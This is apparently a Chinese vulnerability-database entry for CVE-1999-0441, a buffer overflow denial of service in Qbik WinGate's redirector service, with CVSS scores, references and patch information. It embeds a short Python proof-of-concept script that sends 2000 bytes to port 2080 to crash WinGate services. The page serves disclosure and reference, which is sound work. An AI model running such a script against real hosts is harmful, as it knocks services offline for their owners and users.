CVE-1999-0441
CVSS5.0
发布时间 :1999-02-22 00:00:00
修订时间 :2008-09-09 08:34:32
NMCOE    

[原文]Remote attackers can perform a denial of service in WinGate machines using a buffer overflow in the Winsock Redirector Service.


[CNNVD]Qbik WinGate缓冲区溢出DoS漏洞(CNNVD-199902-052)

        WinGate机器存在漏洞。远程攻击者可以使用Winsock Redirector Service上的一个缓冲区溢出导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0441
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0441
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199902-052
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/509
(UNKNOWN)  BID  509
http://www.eeye.com/html/Research/Advisories/AD02221999.html
(UNKNOWN)  EEYE  AD02221999

- 漏洞信息

Qbik WinGate缓冲区溢出DoS漏洞
中危 缓冲区溢出
1999-02-22 00:00:00 2005-05-02 00:00:00
远程※本地  
        WinGate机器存在漏洞。远程攻击者可以使用Winsock Redirector Service上的一个缓冲区溢出导致服务拒绝。

- 公告与补丁

        The following release of Wingate (version 4.1) will not be susceptible to this vulnerability. The beta version is available for download at the following location:
        http://wingate.deerfield.com/beta

- 漏洞信息 (19410)

Qbik WinGate 3.0/Pro 4.0.1/Standard 4.0.1 Buffer Overflow DoS Vulnerability (EDBID:19410)
windows dos
1999-02-22 Verified
0 Prizm
N/A [点击下载]
source: http://www.securityfocus.com/bid/509/info

WinGate's Winsock redirector service is susceptible to a buffer overflow vilnerability that will crash all WinGate services.

#!/usr/bin/python
#
# Qbik Wingate 3.0 DoS Proof of Concept Code.
# Vulnerability Discovered by eEye Digital Security
Team(http://www.eEye.com)
# Simple Script by Prizm(Prizm@Resentment.org)
# 
# By connecting to port 2080 on a system running Qbik Wingate 3.0 and
# sending 2000
# characters, all wingate services will crash.
# *Solution* Upgrade to 4.0.1, version is not vulnerable to this Denial of
# Service attack. 
#
# This *simple* little script will crash all wingate services.


import socket
import sys
from string import strip

host="xxx.xxx.xxx.xxx" # Replace x's with IP.
port=2080
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:
  s.connect(host,port)
  print "connection succeeded."
except socket.error, e:
  print "connection failed, " + e.args

s.send("A" * 2000)

#end		

- 漏洞信息

1021
WinGate Redirector Service Remote Overflow DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public

- 漏洞描述

- 时间线

1999-04-05 Unknow
1999-04-05 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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